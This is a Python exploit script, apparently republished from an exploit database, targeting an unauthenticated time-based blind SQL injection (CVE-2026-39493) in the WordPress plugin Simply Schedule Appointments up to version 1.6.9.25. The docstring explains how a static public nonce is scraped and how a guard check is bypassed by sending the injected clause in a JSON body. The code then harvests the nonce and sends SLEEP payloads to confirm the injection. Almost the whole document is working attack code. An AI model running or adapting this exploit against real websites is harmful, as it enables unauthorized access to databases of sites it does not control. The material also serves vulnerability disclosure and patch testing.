Share
## https://sploitus.com/exploit?id=PACKETSTORM:226459
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Simply Schedule Appointments <= 1.6.9.25 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/simply-schedule-appointments/
    # Software Link: https://downloads.wordpress.org/plugin/simply-schedule-appointments.1.6.9.25.zip
    # Version: 1.6.9.25 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-39493
    """
    Simply Schedule Appointments <= 1.6.9.25 exposes GET /wp-json/ssa/v1/appointment_types, gated by
    get_items_permissions_check -> nonce_permissions_check, which accepts a STATIC per-site public nonce
    (TD_API_Model::create_nonce('wp_rest') = substr(wp_hash('wp_rest|','nonce'),-12,10)) that never
    rotates and is localized into every [ssa_booking] page as "public_nonce".
    
    The model's db_where_conditions() concatenates the request's `append_where_sql` raw into the query
    (includes/lib/td-util/class-td-db-model.php:1025), and the guard at :1019 only checks
    $_REQUEST['append_where_sql'] โ€” which a JSON *body* does NOT populate, while $request->get_params()
    (merged JSON body) DOES. So sending append_where_sql in the JSON body bypasses the guard and injects
    into the WHERE of a prepare() TEMPLATE (:1174) -> SQL injection.
    
    Two request quirks:
      * nonce_permissions_check first does `if (empty($headers['x_wp_nonce'][0])) return false` โ€” so an
        X-WP-Nonce header MUST be present and non-empty AND not the string "0" (empty("0") is true in
        PHP). Any other junk value works; it fails wp_verify_nonce and falls through to the public nonce.
      * The payload must be '%'-free (it is part of a prepare() template).
    
    Payload:  AND (SELECT 1 FROM (SELECT SLEEP(5))x)
    
    Prior state: plugin active + a page containing [ssa_booking] (source of the static public nonce).
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def harvest_nonce(base, page):
        h = requests.get(base + page, verify=False, timeout=20).text
        m = re.search(r'"public_nonce":"([a-f0-9]{10})"', h)
        return m.group(1) if m else None
    
    
    def probe(base, pn, seconds):
        body = '{"append_where_sql":" AND (SELECT 1 FROM (SELECT SLEEP(%d))x) "}' % seconds
        t = time.time()
        requests.request("GET", base + "/wp-json/ssa/v1/appointment_types",
                         headers={"X-WP-Nonce": "zzzz", "X-Public-Nonce": pn,
                                  "Content-Type": "application/json"}, data=body, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--page", default="/book/", help="page containing [ssa_booking]")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        pn = harvest_nonce(base, args.page)
        if not pn:
            print(f"[-] no public_nonce on {args.page} (add an [ssa_booking] page)"); return 1
        print(f"[*] Target: {base} | static public_nonce: {pn}")
        t0 = probe(base, pn, 0)
        t5 = probe(base, pn, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the response by {t5 - t0:.2f}s (append_where_sql JSON body).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())